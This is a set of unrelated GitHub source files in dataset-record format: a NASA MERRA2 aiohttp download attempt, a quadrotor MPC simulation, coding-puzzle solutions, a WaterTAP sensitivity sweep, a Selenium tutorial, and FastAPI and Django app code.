destroy(box)\n\njogo.run()\n","repo_name":"dr4e/Jogo-em-Python","sub_path":"mine.py","file_name":"mine.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13139580922","text":"import asyncio\nimport aiohttp\nfrom pathlib import Path\nfrom yarl import URL\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\nimport os\n\n# The following is an attempt to download MERRA data asynchronously, using aiohttp.\n# The authentication() and login() functions seem to work, successfully storing 3 cookies.\n# But when I try to use them in the actual download() GET request, I get redirected back to oauth.\n# So I can't download anything.\n\n# The multi-threaded requests-based downloader, which works, seems to have the exact same cookies at that point.\n# But then it picks up a session cookie when the first download is successful, which aiohttp does not.\n# This matches what I see in Chrome's network log when I download manually.\n\n# The download() GET request is identical to the authentication() GET request, except for the cookie.\n\nTEST_URL = \"https://goldsmr4.gesdisc.eosdis.nasa.gov/opendap/MERRA2/M2T1NXSLV.5.12.4/2020/03/MERRA2_400.tavg1_2d_slv_Nx.20200331.nc4.nc4?PS[0:23][232:254][117:139],T10M[0:23][232:254][117:139],U50M[0:23][232:254][117:139],V50M[0:23][232:254][117:139],time,lat[232:254],lon[117:139]\"\nauth = aiohttp.BasicAuth(os.getenv(\"MERRA2_USER\"), os.getenv(\"MERRA2_PASS\"))\ncookie_jar = aiohttp.CookieJar()\n\nCHROME_HEADERS = {\n    \"Host\": \"goldsmr4.gesdisc.eosdis.nasa.gov\",\n    \"Connection\": \"keep-alive\",\n    \"Cache-Control\": \"max-age=0\",\n    \"DNT\": \"1\",\n    \"Upgrade-Insecure-Requests\": \"1\",\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\",\n    \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n    \"Sec-Fetch-Site\": \"none\",\n    \"Sec-Fetch-Mode\": \"navigate\",\n    \"Sec-Fetch-User\": \"?1\",\n    \"Sec-Fetch-Dest\": \"document\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Accept-Language\": \"en-US,en;q=0.9\",\n}\n\n\ndef set_cookies(response, cookie_jar, url):\n    \"\"\"aiohttp can't recieve cookies because NASA uses an obsolete date format in its cookies (timezone as -0000 instead of GMT). Failure point is python's http.cookies.BaseCookie.load() fails to read the old timezones. Unfortunately this means I can't follow redirects\"\"\"\n    for hdr in response.headers.getall(aiohttp.hdrs.SET_COOKIE, ()):\n        response.cookies.load(hdr.replace(\" -0000\", \" GMT\"))\n        cookie_jar.update_cookies(response.cookies, url)\n\n\nasync def login(session, url):\n    r = await session.get(url, auth=auth, allow_redirects=False)\n    set_cookies(r, cookie_jar, url)\n    redirect_url = URL(\n        r.headers.get(aiohttp.hdrs.LOCATION), encoded=not session._requote_redirect_url\n    )\n    r = await session.get(redirect_url, allow_redirects=False)\n    set_cookies(r, cookie_jar, redirect_url)\n    return URL(\n        r.headers.get(aiohttp.hdrs.LOCATION), encoded=not session._requote_redirect_url\n    )\n\n\ndef filename_from_url(url):\n    return str(url).split(\"/\")[-1].split(\".nc4?\")[0]\n\n\nasync def download(\n    session, url, directory: Path, write_async=False, chunk_size=512 * 1024\n):\n    fname = directory / filename_from_url(url)\n    async with session.get(url, allow_redirects=False) as resp:\n        set_cookies(resp, cookie_jar, url)\n        with open(fname, \"wb\") as fd:\n            while True:\n                chunk = await resp.content.read(chunk_size)\n                if not chunk:\n                    break\n                fd.write(chunk)\n    print(\"downloaded\")\n\n\nasync def authentication(session, url):\n    async with session.get(url) as resp:\n        if resp.status == 401:\n            new_url = await login(session, resp.url)\n            old_url = URL(url, encoded=not session._requote_redirect_url)\n            if old_url == new_url:\n                return new_url\n            else:\n                raise Exception(\n                    f\"Login process has not returned original URL.\\nOriginal: {str(old_url)}\\nReturned: {str(new_url)}\"\n                )\n\n        else:\n            return URL(url, encoded=not session._requote_redirect_url)\n\n\nasync def main():\n    async with aiohttp.ClientSession(cookie_jar=cookie_jar) as client:\n        repeat_url = await authentication(client, URL(TEST_URL))\n        await download(client, repeat_url, Path(\"./\"))\n\n\nasync def on_request_end(session, trace_config_ctx, params):\n    print(\n        \"\\nEnding %s request for %s. I sent: %s\"\n        % (params.method, params.url, params.headers)\n    )\n    print(\"\\nSent headers: %s\" % params.response.request_info.headers)\n\n\nasync def dl(url):\n    # trace_config = aiohttp.TraceConfig()\n    # trace_config.on_request_end.append(on_request_end)\n    # async with aiohttp.ClientSession(cookie_jar=cookie_jar, trace_configs=[trace_config]) as client:\n    async with aiohttp.ClientSession(cookie_jar=cookie_jar) as client:\n        await download(client, first_url, Path(r\"./\"))\n\n\nasyncio.run(main())\n","repo_name":"TrentonBush/merra2_subsetter","sub_path":"scratch_work/aiohttp_attempt.py","file_name":"aiohttp_attempt.py","file_ext":"py","file_size_in_byte":4877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71968490432","text":"import numpy as np\nimport math\nimport time\nimport matplotlib.pyplot as plt\n\nfrom Quadrotor import Quadrotor\nfrom Plotting import Plotting\nfrom MPCController import AltitudeMPC, AttitudeMPC, PositionMPC\n\nclass Trajectory:\n    def __init__(self, sim_time=10.0, dt = 0.02):\n        self.sim_time = sim_time\n        self.dt = dt\n        self.ref = self.desiredTrajectory()\n\n        self.x_ref = np.array(self.ref)[:,0]\n        self.y_ref = np.array(self.ref)[:,1]\n        self.z_ref = np.array(self.ref)[:,2]\n        self.psi_ref = np.array(self.ref)[:,3]\n    \n    def desiredTrajectory(self):\n        ref = []\n        for i in range(int(self.sim_time/self.dt)):\n            t = i*self.dt\n            x = 5*math.sin(2*math.pi*t/10)\n            y = 5*math.cos(2*math.pi*t/10)\n            z = -0.5*t\n            yaw = 2*math.pi*t/10\n            ref.append([x,y,z,yaw])\n        return ref\n        \n    def desired_altitude(self, quad, idx, N_):\n        # initial state / last state\n        x_ = np.zeros((N_+1, 2))\n        u_ = np.zeros((N_, 1))\n\n        z_ref_ = self.z_ref[idx:(idx+N_)]\n        length = len(z_ref_)\n        if length < N_:\n            z_ex = np.ones(N_ - length)*z_ref_[-1]\n            z_ref_ = np.concatenate((z_ref_, z_ex), axis=None)\n        \n        dz_ref_ = np.diff(z_ref_)\n        dz_ref_ = np.concatenate((quad.dpos[2], dz_ref_), axis=None)\n\n        ddz_ref_ = np.diff(dz_ref_)\n        ddz_ref_ = np.concatenate((ddz_ref_[0], ddz_ref_), axis=None)\n\n        thrust_ref_ = (quad.g - ddz_ref_)*quad.mq\n        \n        x_ = np.array([z_ref_, dz_ref_]).T\n        x_ = np.concatenate((np.array([[quad.pos[2], quad.dpos[2]]]), x_), axis=0)\n        u_ = np.array([thrust_ref_]).T\n        # print(x_)\n        # print(u_)\n        return x_, u_\n\n    def desired_position(self, quad, idx, N_, thrust):\n        # initial state / last state\n        x_ = np.zeros((N_+1, 4))\n        u_ = np.zeros((N_, 2))\n\n        x_ref_ = self.x_ref[idx:(idx+N_)]\n        y_ref_ = self.y_ref[idx:(idx+N_)]\n        length = len(x_ref_)\n        if length < N_:\n            x_ex = np.ones(N_ - length)*x_ref_[-1]\n            x_ref_ = np.concatenate((x_ref_, x_ex), axis=None)\n\n            y_ex = np.ones(N_ - length)*y_ref_[-1]\n            y_ref_ = np.concatenate((y_ref_, y_ex), axis=None)\n\n        dx_ref_ = np.diff(x_ref_)\n        dx_ref_ = np.concatenate((quad.dpos[0], dx_ref_), axis=None)\n        dy_ref_ = np.diff(y_ref_)\n        dy_ref_ = np.concatenate((quad.dpos[1], dy_ref_), axis=None)\n\n        ddx_ref_ = np.diff(dx_ref_)\n        ddx_ref_ = np.concatenate((ddx_ref_[0], ddx_ref_), axis=None)\n        ddy_ref_ = np.diff(dy_ref_)\n        ddy_ref_ = np.concatenate((ddy_ref_[0], ddy_ref_), axis=None)\n\n        the_ref_ = np.arcsin(ddx_ref_*quad.mq/thrust)\n        phi_ref_ = -np.arcsin(ddy_ref_*quad.mq/thrust)\n\n        x_ = np.array([x_ref_, y_ref_, dx_ref_, dy_ref_]).T\n        x_ = np.concatenate((np.array([[quad.pos[0], quad.pos[1], quad.dpos[0], quad.dpos[1]]]), x_), axis=0)\n        u_ = np.array([phi_ref_, the_ref_]).T\n        \n        # print(x_)\n        # print(u_)\n        return x_, u_\n\n    def desired_attitude(self, quad, idx, N_, phid, thed):\n        # initial state / last state\n        x_ = np.zeros((N_+1, 6))\n        u_ = np.zeros((N_, 3))\n\n        phi_ref_ = phid\n        the_ref_ = thed\n\n        psi_ref_ = self.psi_ref[idx:(idx+N_)]\n        length = len(psi_ref_)\n        if length < N_:\n            psi_ex = np.ones(N_ - length)*psi_ref_[-1]\n            psi_ref_ = np.concatenate((psi_ref_, psi_ex), axis=None)\n\n        dphi_ref_ = np.diff(phi_ref_)\n        dphi_ref_ = np.concatenate((quad.dori[0], dphi_ref_), axis=None)\n        dthe_ref_ = np.diff(the_ref_)\n        dthe_ref_ = np.concatenate((quad.dori[1], dthe_ref_), axis=None)\n        dpsi_ref_ = np.diff(psi_ref_)\n        dpsi_ref_ = np.concatenate((quad.dori[2], dpsi_ref_), axis=None)\n\n        ddphi_ref_ = np.diff(dphi_ref_)\n        ddphi_ref_ = np.concatenate((ddphi_ref_[0], ddphi_ref_), axis=None)\n        ddthe_ref_ = np.diff(dthe_ref_)\n        ddthe_ref_ = np.concatenate((ddthe_ref_[0], ddthe_ref_), axis=None)\n        ddpsi_ref_ = np.diff(dpsi_ref_)\n        ddpsi_ref_ = np.concatenate((ddpsi_ref_[0], ddpsi_ref_), axis=None)\n\n        tau_phi_ref_ = (quad.Ix*ddphi_ref_ - dthe_ref_*dpsi_ref_*(quad.Iy-quad.Iz))/quad.la\n        tau_the_ref_ = (quad.Iy*ddthe_ref_ - dphi_ref_*dpsi_ref_*(quad.Iz-quad.Ix))/quad.la\n        tau_psi_ref_ =  quad.Iz*ddpsi_ref_ - dphi_ref_*dthe_ref_*(quad.Ix-quad.Iy)\n\n        x_ = np.array([phi_ref_, the_ref_, psi_ref_, dphi_ref_, dthe_ref_, dpsi_ref_]).T\n        x_ = np.concatenate((np.array([[quad.ori[0], quad.ori[1], quad.ori[2], quad.dori[0], quad.dori[1], quad.dori[2]]]), x_), axis=0)\n        u_ = np.array([tau_phi_ref_, tau_the_ref_, tau_psi_ref_]).T\n\n        # print(x_)\n        # print(u_)\n        return x_, u_\n\n# quad = Quadrotor()\n# traj = Trajectory()\n# traj.desired_altitude(quad, 495, np.array([1,2]), 30)\n\n# exit()\n\nif __name__ == \"__main__\":\n    quad = Quadrotor()\n\n    dt = 0.02\n    N = 50\n    sim_time = 10.0\n    iner = 0\n\n    traj = Trajectory(sim_time, dt)\n\n    al = AltitudeMPC(quad, T=dt, N=N)\n    po = PositionMPC(quad, T=dt, N=N)\n    at = AttitudeMPC(quad, T=dt, N=N)\n\n    his_thrust = []; his_tau_phi = []; his_tau_the = []; his_tau_psi = []\n    his_time = []\n\n    while iner - sim_time/dt < 0.0:\n        # print(iner)\n        # Solve altitude -> thrust\n        next_al_trajectories, next_al_controls = traj.desired_altitude(quad, iner, N)\n        thrusts = al.solve(next_al_trajectories, next_al_controls)\n\n        # Solve position -> phid, thed\n        next_po_trajectories, next_po_controls = traj.desired_position(quad, iner, N, thrusts)\n        phids, theds = po.solve(next_po_trajectories, next_po_controls, thrusts)\n\n        # Solve attitude -> tau_phi, tau_the, tau_psi\n        next_at_trajectories, next_at_controls = traj.desired_attitude(quad, iner, N, phids, theds)\n        tau_phis, tau_thes, tau_psis = at.solve(next_at_trajectories, next_at_controls)\n\n        quad.updateConfiguration(thrusts[0], tau_phis[0], tau_thes[0], tau_psis[0], dt)\n        \n        # Store values\n        his_thrust.append(thrusts[0])\n        his_tau_phi.append(tau_phis[0])\n        his_tau_the.append(tau_thes[0])\n        his_tau_psi.append(tau_psis[0])\n        his_time.append(iner*dt)\n\n        iner += 1\n    \n    print(np.array(quad.path))\n\n    # Plot Drone\n    plot = Plotting(\"Quadrotor\")\n    plot.plot_path(quad.path)\n    plot.plot_path(traj.ref)\n\n    # Plot control\n    plt.figure()\n    plt.subplot(221)\n    plt.plot(his_time, his_thrust)\n    plt.title(\"The total thrust\")\n    plt.xlabel(\"Time [s]\")\n    plt.ylabel(\"Value [N]\")\n\n    plt.subplot(222)\n    plt.plot(his_time, his_tau_phi)\n    plt.title(\"The tau phi\")\n    plt.xlabel(\"Time [s]\")\n    plt.ylabel(\"Value [N.m]\")\n\n    plt.subplot(223)\n    plt.plot(his_time, his_tau_the)\n    plt.title(\"The tau theta\")\n    plt.xlabel(\"Time [s]\")\n    plt.ylabel(\"Value [N.m]\")\n\n    plt.subplot(224)\n    plt.plot(his_time, his_tau_psi)\n    plt.title(\"The tau psi\")\n    plt.xlabel(\"Time [s]\")\n    plt.ylabel(\"Value [N.m]\")\n\n    plt.show()","repo_name":"duynamrcv/quadrotor_mpc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7121,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"}
+{"seq_id":"73917463871","text":"\"\"\"\nThis problem was asked by Twitter.\n\nGiven a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree. Assume that each node in the tree also has a pointer to its parent.\n\nAccording to the definition of LCA on Wikipedia: “The lowest common ancestor is defined between two nodes v and w as the lowest node in T that has both v and w as descendants (where we allow a node to be a descendant of itself).”\n\"\"\"\nimport collections\n\n\nclass Node:\n    def __init__(self, val):\n        self.val = val\n        self.parent = None\n\n\nparents = []\n\n\ndef get_lowest_common_ancestor(root_val, node1, node2):\n    get_parent(node1)\n    get_parent(node2)\n\n    p_list = [item for item, count in collections.Counter(parents).items() if count > 1]\n    if len(p_list) == 1:\n        return root_val\n    if len(p_list) == 2:\n        p_list.remove(root_val)\n        return p_list[0]\n\n\ndef get_parent(node):\n    if node is None:\n        return\n    parents.append(node.val)\n    return get_parent(node.parent)\n\n\na1 = Node(40)\na2 = Node(20)\na3 = Node(60)\na4 = Node(10)\na5 = Node(30)\na6 = Node(50)\na7 = Node(70)\n\na2.parent = a1\na3.parent = a1\na4.parent = a2\na5.parent = a2\na6.parent = a3\na7.parent = a3\n\nassert get_lowest_common_ancestor(a1.val, a6, a1) == 40\n","repo_name":"dombroks/Daily-Coding-Problems","sub_path":"Twitter_Problems/Twitter_Problem_2.py","file_name":"Twitter_Problem_2.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"1239583230","text":"import heapq\r\nimport sys\r\nimport typing\r\n\r\nimport numba as nb\r\nimport numpy as np\r\n\r\n\r\n@nb.njit((nb.i8[:, :], ), cache=True)\r\ndef solve(ab: np.ndarray) -> typing.NoReturn:\r\n  n = len(ab)\r\n  a, b = ab[:, 0], ab[:, 1]\r\n  for i in range(n):\r\n    b[i] += a[i]\r\n  c = np.unique(np.hstack((a, b)))\r\n  a = np.searchsorted(c, a)\r\n  b = np.searchsorted(c, b)\r\n  s = np.zeros(1 << 19, np.int64)\r\n  for i in range(n):\r\n    s[a[i]] += 1\r\n    s[b[i]] -= 1\r\n  s = s.cumsum()\r\n\r\n\r\n  res = np.zeros(n + 1, np.int64)\r\n  for i in range(1 << 19):\r\n    x = s[i]\r\n    if not x: continue\r\n    l, r = c[i], c[i + 1]\r\n    res[x] += r - l\r\n\r\n  for x in res[1:]:\r\n    print(x)\r\n\r\n\r\n\r\ndef main() -> typing.NoReturn:\r\n  n = int(input())\r\n  ab = np.array(\r\n    sys.stdin.read().split(),\r\n    dtype=np.int64,\r\n  ).reshape(n, 2)\r\n  solve(ab)\r\n\r\n\r\nmain()\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc221/abc221_d/26294833.py","file_name":"26294833.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"4443956791","text":"from watertap.tools.parameter_sweep import PredeterminedFixedSample, parameter_sweep\nimport watertap.examples.flowsheets.RO_with_energy_recovery.RO_with_energy_recovery as RO\nfrom watertap.examples.flowsheets.RO_with_energy_recovery.RO_with_energy_recovery import (\n    ERDtype,\n)\n\n\ndef set_up_sensitivity():\n    outputs = {}\n\n    m = RO.build(erd_type=ERDtype.pump_as_turbine)\n    RO.set_operating_conditions(m)\n    RO.initialize_system(m)\n    RO.solve(m)\n    m.fs.feed.properties[0].flow_mass_phase_comp.unfix()\n    m.fs.feed.properties[0].flow_vol_phase[\"Liq\"].fix()\n    m.fs.feed.properties[0].conc_mass_phase_comp[\"Liq\", \"NaCl\"].fix()\n    RO.optimize_set_up(m)\n    m.fs.eq_minimum_water_flux.deactivate()\n    RO.solve(m)\n    RO.display_system(m)\n    RO.display_design(m)\n\n    # uncomment to create outputs\n\n    outputs[\"LCOW\"] = m.fs.costing.LCOW\n    # outputs[\"RO Water Flux\"] = m.fs.RO.flux_mass_phase_comp[0, 1, \"Liq\", \"H2O\"]\n    # outputs[\"RO Membrane Area\"] = m.fs.RO.area\n    # outputs[\"RO Energy Consumption\"] = m.fs.costing.specific_energy_consumption\n    # outputs[\"System Capital Cost\"] = m.fs.costing.aggregate_capital_cost\n    # outputs[\"RO Capital Cost\"] = m.fs.RO.costing.capital_cost\n    # outputs[\"Pump Capital Cost\"] = m.fs.P1.costing.capital_cost\n    # outputs[\"ERD Capital Cost\"] = m.fs.ERD.costing.capital_cost\n    # outputs[\"RO Operating Cost\"] = m.fs.RO.costing.fixed_operating_cost\n    # outputs[\n    #     \"MLC Operating Cost\"\n    # ] = m.fs.costing.maintenance_labor_chemical_operating_cost\n    # outputs[\"Feed Flow Rate\"] = m.fs.feed.properties[0].flow_vol_phase[\"Liq\"]\n    # outputs[\"Permeate Flow Rate\"] = m.fs.product.properties[0].flow_vol_phase[\"Liq\"]\n    # outputs[\"Retentate Flow Rate\"] = m.fs.disposal.properties[0].flow_vol_phase[\"Liq\"]\n    # outputs[\"RO Operating Pressure\"] = m.fs.RO.inlet.pressure[0]\n    # outputs[\"RO Permeate H2O Mass Flow\"] = m.fs.RO.permeate.flow_mass_phase_comp[\n    #     0, \"Liq\", \"H2O\"\n    # ]\n    # outputs[\"RO Permeate Salt Mass Flow\"] = m.fs.RO.permeate.flow_mass_phase_comp[\n    #     0, \"Liq\", \"NaCl\"\n    # ]\n    # outputs[\"RO Retentate H2O Mass Flow\"] = m.fs.RO.retentate.flow_mass_phase_comp[\n    #     0, \"Liq\", \"H2O\"\n    # ]\n    # outputs[\"RO Retentate Salt Mass Flow\"] = m.fs.RO.retentate.flow_mass_phase_comp[\n    #     0, \"Liq\", \"NaCl\"\n    # ]\n\n    return outputs, m\n\n\ndef run_analysis(case_num=1, nx=5, interpolate_nan_outputs=True, output_filename=None):\n\n    if output_filename is None:\n        output_filename = \"sensitivity_\" + str(case_num) + \".csv\"\n\n    # when from the command line\n    case_num = int(case_num)\n    interpolate_nan_outputs = bool(interpolate_nan_outputs)\n\n    outputs, m = set_up_sensitivity()\n\n    # choose parameter sweep from case structure\n    sweep_params = {}\n\n    if case_num == 1:\n        # Need to unfix mass recovery of water (or simply sweep across it instead of recovery_vol)\n        m.fs.RO.recovery_mass_phase_comp.unfix()\n\n        sweep_params[\"mass_concentration\"] = PredeterminedFixedSample(\n            m.fs.feed.properties[0].conc_mass_phase_comp[\"Liq\", \"NaCl\"],\n            [0.963, 1.927, 4.816],\n        )\n        sweep_params[\"volumetric_recovery\"] = PredeterminedFixedSample(\n            m.fs.RO.recovery_vol_phase[0, \"Liq\"], [0.7, 0.8, 0.9]\n        )\n    else:\n        raise ValueError(f\"{case_num} is not yet implemented\")\n\n    global_results = parameter_sweep(\n        m,\n        sweep_params,\n        outputs,\n        csv_results_file_name=output_filename,\n        optimize_function=RO.solve,\n        interpolate_nan_outputs=interpolate_nan_outputs,\n    )\n\n    return global_results, sweep_params, m\n\n\nif __name__ == \"__main__\":\n    results, sweep_params, m = run_analysis()\n    print(results)\n","repo_name":"MichaelPesce/watertap","sub_path":"watertap/examples/flowsheets/RO_with_energy_recovery/multi_sweep.py","file_name":"multi_sweep.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"19692356294","text":"\"\"\"\nfind_elements_by_xxx()\n作用：\n    1). 查找定位所有符合条件的元素\n    2). 返回的定位元素格式为数组(列表)格式；\n说明 : 列表数据格式的读取需要指定下标(下标从0开始)  可遍历\n4.2 案例\n需求：打开注册A.html页面，完成以下操作\n    1).使用tag_name定位密码输入框(第二个input标签)，并输入：123456\n    2).3秒后关闭浏览器窗口\n\"\"\"\n# 导包\nfrom selenium import webdriver\nfrom time import sleep\n\n# 获取浏览器驱动对象\ndriver = webdriver.Firefox()\n\n# 打开url\nurl = r\"D:\\python_heima_shipk\\软件测试\\二\\8天web自动化全套测试—资料\\web自动化_day01_课件+笔记+资料+代码\\02_其他资料\\注册A.html\"\ndriver.get(url)\n\n# 使用tag_name定位用户名 输入admin\n# 注意页面中如果存在多个相同的标签名称，默认返回第一个\n# 使用elements 可以实现找到指定位置的元素 返回结果：类型为列表，要对列表进行访问和操作必须指定下标或进行遍历，[下标从0开始]\ndriver.find_elements_by_tag_name(\"input\")[1].send_keys(\"123456\")\n\n# 暂停三秒\nsleep(3)\n\n# 关闭浏览器驱动\ndriver.quit()\n\n","repo_name":"liuyuhao817/pythonwork","sub_path":"web自动化/day02/day02_04_元素定位find_elements_by_xxx.py","file_name":"day02_04_元素定位find_elements_by_xxx.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32021729191","text":"from django.db import models\nfrom general.models import BaseModel\n\n\nCOMPANY_PROFILE_JOB_DESIGNATION = (\n    ('ceo', 'CEO'),\n    ('managing_director', 'Managing Director'),\n    ('language_trainer', 'Language Trainer'),\n    ('admission_counsellor', 'Admission Counsellors'),\n    ('ielts_trainer', 'IELTS Trainer'),\n    ('video_presenter', 'Video Presenter'),\n    ('content_writers', 'Content Writer'),\n    ('telecaller', 'Telecaller')\n)\n\nCOMPANY_PROFILE_JOB_TYPE = (\n    ('full_time', 'Full Time'),\n    ('part_timr', 'Part Time')\n)\n\nCOMPANY_PROFILE_GALLERY_TYPE = (\n    ('image', 'Image'),\n    ('video', 'video'),\n    ('link', 'Link')\n)\n\nCOMPANY_PROFILE_GALLERY_SLOT = (\n    ('slot_1', 'Slot 1'),\n    ('slot_2', 'Slot 2'),\n    ('slot_3', 'Slot 3'),\n    ('slot_4', 'Slot 4'),\n    ('slot_5', 'Slot 5'),\n    ('slot_6', 'Slot 6'),\n    ('slot_7', 'Slot 7'),\n    ('slot_8', 'Slot 8'),\n)\n\nclass Achievements(BaseModel):\n    title = models.CharField(max_length=255)\n    image = models.ImageField(upload_to=\"company-profile/images/\", blank=True, null=True)\n    alt = models.CharField(max_length=255,null=True, blank=True)\n    description = models.TextField(blank=True, null=True)\n\n    class Meta:\n        db_table = 'company_profile_achievements'\n        verbose_name = ('Achievement')\n        verbose_name_plural = ('Achievements')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.title\n    \n\nclass Testimonials(BaseModel):\n    name = models.CharField(max_length=255)\n    quote = models.TextField()\n    rating_count = models.PositiveIntegerField()\n    image = models.ImageField(upload_to=\"company_profile/testimonials/images\",  null=True, blank=True)\n    alt = models.CharField(max_length=255,null=True, blank=True)\n    video = models.FileField(upload_to=\"company_profile/testimonials/video\")\n\n    class Meta:\n        db_table = 'company_profile_testimonials'\n        verbose_name = ('Testimonial')\n        verbose_name_plural = ('Testimonials')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.name\n\n\nclass Department(BaseModel):\n    name = models.CharField(max_length=255, null=True, blank=True)\n\n    class Meta:\n        db_table = 'company_profile_deparment'\n        verbose_name = ('Department')\n        verbose_name_plural = ('Department')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.name\n\n\nclass OurTeam(BaseModel):\n    name = models.CharField(max_length=255)\n    photo = models.FileField(upload_to=\"company_profile/our_team/photo\", null=True, blank=True)\n    designation = models.CharField(max_length=255)\n    alt = models.CharField(max_length=255,null=True, blank=True)\n    head = models.BooleanField(default=False)\n    department = models.ForeignKey(\"company_profile.Department\", on_delete=models.CASCADE, null=True, blank=True)\n\n    class Meta:\n        db_table = 'company_profile_our_team'\n        verbose_name = ('Our Team')\n        verbose_name_plural = ('Our Teams')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.name\n\n\nclass Career(BaseModel):\n    designation = models.CharField(max_length=255)\n    job_description = models.TextField()\n    job_type = models.CharField(choices=COMPANY_PROFILE_JOB_TYPE, max_length=255)\n\n    class Meta:\n        db_table = 'company_profile_career'\n        verbose_name = ('Career')\n        verbose_name_plural = ('Careers')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.designation\n    \n\nclass CareerEnquiry(BaseModel):\n    job = models.ForeignKey('company_profile.Career', on_delete=models.CASCADE)\n    name = models.CharField(max_length=100)\n    phone = models.CharField(max_length=110)\n    email = models.CharField(max_length=110)\n    cv = models.FileField(upload_to=\"company_profile/career_enquiry/cv/\")\n\n    class Meta:\n        db_table = 'company_profile_career_enquiry'\n        verbose_name = ('Career Enquiry')\n        verbose_name_plural = ('Careers Enquiry')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.name\n    \n\nclass Enquiry(BaseModel):\n    name = models.CharField(max_length=255, null=True, blank=True)\n    phone = models.CharField(max_length=255, null=True, blank=True)\n    email = models.EmailField(null=True, blank=True)\n    message = models.TextField(max_length=255, null=True, blank=True)\n\n    class Meta:\n        db_table = 'company_profile__enquiry'\n        verbose_name = (' Enquiry')\n        verbose_name_plural = ('Enquiries')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.name\n    \n\nclass CompanyCount(BaseModel):\n    successfull_students = models.IntegerField( null=True, blank=True)\n    languages_trainee = models.IntegerField( null=True, blank=True)\n    awards_won = models.IntegerField( null=True, blank=True)\n    courses = models.IntegerField( null=True, blank=True)\n\n    class Meta:\n        db_table = 'courses_company_count'\n        verbose_name = ('Company Count')\n        verbose_name_plural = ('Company Count')\n        ordering = ('id',)\n    \n    def __str__(self):\n        return str(self.successfull_students)\n    \n\nclass Gallery(BaseModel):\n    type = models.CharField(choices=COMPANY_PROFILE_GALLERY_TYPE, max_length=255)\n    file = models.FileField(upload_to='company_profile/gallery/', null=True, blank=True)\n    alt = models.CharField(max_length=255,null=True, blank=True)\n    file_link = models.CharField(max_length=255, null=True, blank=True)\n    slot = models.CharField(choices=COMPANY_PROFILE_GALLERY_SLOT, max_length=122, null=True, blank=True)\n    thumbnail = models.ImageField(upload_to='company_profile/gallery/thumbnail/', null=True, blank=True)\n    thumbnail_alt = models.CharField(max_length=255,null=True, blank=True)\n    class Meta:\n        db_table = 'courses_gallery'\n        verbose_name = ('Gallery')\n        verbose_name_plural = ('Galleries')\n        ordering = ('id',)\n\n    def __str__(self):\n        return self.type\n\n\n","repo_name":"devaccolades/english-cafe","sub_path":"company_profile/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3163358089","text":"from fastapi import FastAPI\n\nfrom . import db_database, models\nfrom .routers import txt_upload, user\n\napp = FastAPI()\n\n\n@app.get(\"/\")\nasync def read_main():\n    return {\"msg\": \"Hello World\"}\n\n\nmodels.Base.metadata.create_all(bind=db_database.engine)\n\napp.include_router(user.router)\napp.include_router(txt_upload.router)\n\n\n# current_user: schemas.User = Depends(get_current_user)\n","repo_name":"rohitk523/docker-communication","sub_path":"FastAPI/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5045333196","text":"# -*- coding: utf-8 -*-\n\n# 入力の数値\ncounter = int(input())\ninput_list = [input() for _ in range(counter)]\n\n# 切り下げる時\ndef roundDownTime(time_str):\n\t# 0～4は0に\n\tif 0 <= int(time_str[3:4]) <= 4:\n\t\treturn time_str[0:3] + \"0\"\n\t# 5～9は5に\n\tif 5 <= int(time_str[3:4]) <= 9:\n\t\treturn time_str[0:3] + \"5\"\n\n# 切り上げる時\ndef roundUpTime(time_str):\n\t# 0はそのまま\n\tif int(time_str[3:4]) == 0:\n\t\treturn time_str\n\t# 1～5は5に\n\tif 1 <= int(time_str[3:4]) <= 5:\n\t\treturn time_str[0:3] + \"5\"\n\t# 6～9は0に\n\tif 6 <= int(time_str[3:4]) <= 9:\n\t\t# 50分台だけは時のケタが動く\n\t\tif time_str[2:3] == \"5\":\n\t\t\treturn str(int(time_str[0:2]) + 1) + \"00\"\n\t\t# 通常は10分のケタが動く\n\t\telse:\n\t\t\treturn time_str[0:2] + str(int(time_str[2:3]) + 1) + \"0\"\n\n# 開始時刻と終了時刻のリスト\nround_from_list = []\nround_to_list = []\nfor input_str in input_list:\n\t# 丸め処理を完了させる\n\tround_from_list.append(roundDownTime(input_str[0:4]))\n\tround_to_list.append(roundUpTime(input_str[5:9]))\n\n# 開始時刻と終了時刻のペアで二次元リストを作る\ntime_list = [[0 for col in range(2)] for row in range(counter)]\nfor i in range(counter):\n\ttime_list[i][0] = round_from_list[i]\n\ttime_list[i][1] = round_to_list[i]\n\n# 